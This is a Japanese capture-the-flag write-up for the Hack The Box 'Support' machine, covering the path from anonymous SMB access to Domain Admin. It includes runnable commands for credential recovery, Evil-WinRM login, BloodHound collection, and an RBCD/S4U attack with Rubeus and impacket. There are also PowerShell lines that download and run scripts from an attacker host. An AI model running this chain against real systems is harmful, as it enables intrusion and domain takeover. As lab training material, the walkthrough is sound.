本記事では、Hack The Box の Support を攻略した手順を解説します。
1. ポートスキャン
まずはnmapでターゲットのポートを調査します。
$ nmap --privileged -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49678,49690,49707 \
-sV -sC -oN phase2_detail.txt support.htb
Nmap scan report for Support.htb (10.129.230.181)
Host is up (0.67s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-05-04 08:52:05Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open adws?
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
主な開放ポート:
| ポート | サービス | 備考 |
|---|---|---|
| 53/tcp | DNS | |
| 88/tcp | Kerberos | AD環境の証拠 |
| 389/tcp, 3268/tcp | LDAP | Active Directory |
| 445/tcp | SMB | ファイル共有 |
| 5985/tcp | WinRM | リモート管理 |
ポートの構成から、このマシンが Windows Active Directory ドメインコントローラー(DC) であることが分かります。
2. SMB列挙
匿名(パスワードなし)でSMB共有を列挙します。
$ smbclient -L //support.htb/ -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
support-tools Disk support staff tools
SYSVOL Disk Logon server share
ADMIN$、C$ などのデフォルト共有に加え、カスタム共有 support-tools が存在します。中身を確認します。
$ smbclient //support.htb/support-tools
Password for [WORKGROUP\utah]:
smb: \> dir
. D 0 Thu Jul 21 02:01:06 2022
.. D 0 Sat May 28 20:18:25 2022
7-ZipPortable_21.07.paf.exe A 2880728 Sat May 28 20:19:19 2022
npp.8.4.1.portable.x64.zip A 5439245 Sat May 28 20:19:55 2022
putty.exe A 1273576 Sat May 28 20:20:06 2022
SysinternalsSuite.zip A 48102161 Sat May 28 20:19:31 2022
UserInfo.exe.zip A 277499 Thu Jul 21 02:01:07 2022
windirstat1_1_2_setup.exe A 79171 Sat May 28 20:20:17 2022
WiresharkPortable64_3.6.5.paf.exe A 44398000 Sat May 28 20:19:43 2022
7-ZipやPuTTYなどの一般ツールの中に UserInfo.exe.zip というカスタムツールを発見しました。ダウンロードして解析します。
3. UserInfo.exe の解析(.NETリバースエンジニアリング)
UserInfo.exe は C# (.NET Framework) 製のバイナリです。.NETバイナリの特徴として、コンパイル後も中間言語(IL)の形式で保存されるため、dnSpy や ilSpy などのデコンパイラでソースコードに近い形で復元できます。
解析すると Protected クラスの中に XOR 暗号化されたパスワードが埋め込まれていることが分かりました。
private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
private static byte[] key = Encoding.ASCII.GetBytes("armando");
public static string getPassword() {
byte[] array = Convert.FromBase64String(enc_password);
for (int i = 0; i < array.Length; i++) {
array[i] = (byte)(array[i] ^ key[i % key.Length] ^ 223);
}
return Encoding.Default.GetString(array);
}
XOR は同じ演算で暗号化・復号の両方ができます。Python で復号します。
import base64
from itertools import cycle
enc = base64.b64decode("0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E")
key = b"armando"
result = bytearray([e ^ k ^ 223 for e, k in zip(enc, cycle(key))])
print(result.decode())
# 出力: nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
コードをさらに読み進めると、このパスワードは LDAP サーバーへの接続認証に使われていることが分かります。
-
ユーザー名:
ldap@support.htb -
パスワード:
nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz -
接続先:
LDAP://support.htb
4. LDAP列挙
取得した認証情報で LDAP を列挙します。
$ ldapsearch -x -H ldap://support.htb \
-D 'ldap@support.htb' \
-w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \
-b "DC=support,DC=htb" "*" | less
結果ファイルを精査すると、support ユーザーオブジェクトの info 属性(通常は空欄のフィールド)に平文パスワードが記載されていることを発見しました。
info: Ironside47pleasure40Watchful
また、support ユーザーは Remote Management Users グループのメンバーであることも判明しました。このグループに所属していると WinRM(リモート管理)でログインできます。
5. Evil-WinRM で初期シェル取得(user.txt)
取得したパスワードで Evil-WinRM を使ってログインします。
$ evil-winrm -i support.htb -u support -p 'Ironside47pleasure40Watchful'
ログインに成功しました。user.txt を取得できます。
グループを確認すると Shared Support Accounts グループに所属していることが分かります。
*Evil-WinRM* PS C:\Users\support\Documents> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============================================= ====================
Everyone Well-known group S-1-1-0 Mandatory group, ...
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, ...
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, ...
SUPPORT\Shared Support Accounts Group S-1-5-21-1677581083-3380853377-188903654-1103 Mandatory group, ...
...
6. BloodHound による AD権限分析
権限昇格の経路を BloodHound で調査します。
データ収集
$ bloodhound-python -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \
-d support.htb -ns 10.129.230.181 --zip -c all
neo4j 起動・BloodHound 起動
$ sudo neo4j start
# ブラウザで http://localhost:7474 にアクセス → 初回パスワード変更
収集した ZIP ファイルを BloodHound にインポートして分析すると、以下の権限関係を発見しました。
support ユーザー
└─ 所属: Shared Support Accounts グループ
└─ DC(ドメインコントローラー)マシンに対して GenericAll 権限を持つ
GenericAll はオブジェクトへの 完全な制御権限 です。DCマシンオブジェクトに GenericAll があれば RBCD攻撃 が可能です。
7. RBCD攻撃で Domain Admin 昇格(root.txt)
RBCD(Resource-Based Constrained Delegation)攻撃とは
DCの msDS-AllowedToActOnBehalfOfOtherIdentity 属性に偽のコンピューターアカウントを登録することで、そのコンピューターが DC 上の任意ユーザーになりすましてサービスにアクセスできるようにする攻撃です。DCオブジェクトへの GenericAll 権限があればこの属性を書き換えられます。
Step 1: 偽のコンピューターアカウントを作成
Evil-WinRM セッション内で PowerMad.ps1 を使って偽のコンピューターアカウントを作成します。コンピューターアカウントが必要な理由は、後続の S4U2Self プロトコルがコンピューターアカウントでなければ使えないためです。
# PowerMad.ps1 をロード
iex(new-object net.webclient).downloadstring('http://10.10.14.X:8080/Powermad.ps1')
# コンピューターアカウントを追加(通常ユーザーはデフォルトで最大10個作成可能)
New-MachineAccount -MachineAccount FAKECOMP01 -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)
Step 2: DCのRBCD属性を書き換える
PowerView.ps1 を使って DC の msDS-AllowedToActOnBehalfOfOtherIdentity 属性に FAKECOMP01 を登録します。
# PowerView.ps1 をロード
iex(new-object net.webclient).downloadstring('http://10.10.14.X:8080/PowerView.ps1')
$fakesid = Get-DomainComputer FAKECOMP01 | select -expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor `
-ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($fakesid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
# DCのmsDS-AllowedToActOnBehalfOfOtherIdentityにFAKECOMP01を登録
Get-DomainComputer DC | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
Step 3: Rubeusでハッシュ計算
Rubeus で FAKECOMP01 のパスワードから rc4_hmac ハッシュを算出します。
.\Rubeus.exe hash /password:Password123 /user:FAKECOMP01$ /domain:support.htb
# → rc4_hmac ハッシュが得られる
Step 4: S4U攻撃でAdministratorのチケットを取得
S4U2Self + S4U2Proxy を使って Administrator になりすましたKerberosチケットを取得し、メモリに注入します。
.\Rubeus.exe s4u /user:FAKECOMP01$ /rc4:[ハッシュ] /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt
Step 5: impacket-psexec でシェル取得
チケットを Linux 形式に変換し、psexec でシェルを取得します。
# チケットをLinux形式に変換
impacket-ticketConverter ticket.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccache
# チケットを使ってpsexecでシェル取得
impacket-psexec -k -no-pass administrator@dc.support.htb
これで Domain Admin(Administrator)として DC にアクセスでき、root.txt を取得できました。
まとめ(攻略チェーン)
| ステップ | 内容 | 使用ツール・手法 |
|---|---|---|
| 初期偵察 | ポート・サービスの把握 | nmap |
| SMB列挙 | support-tools共有でUserInfo.exeを発見 | smbclient(匿名アクセス) |
| バイナリ解析 | LDAPバインド用認証情報を復元 | dnSpy / ilSpy + XOR復号(Python) |
| LDAP列挙 | supportユーザーのinfo属性にパスワードを発見 | ldapsearch |
| 初期侵入 | supportユーザーでシェル取得(user.txt) | Evil-WinRM |
| 権限分析 | Shared Support Accounts → GenericAll → DCを特定 | BloodHound |
| 権限昇格 | DCへのRBCD攻撃でDomain Admin取得(root.txt) | PowerMad + PowerView + Rubeus + impacket |
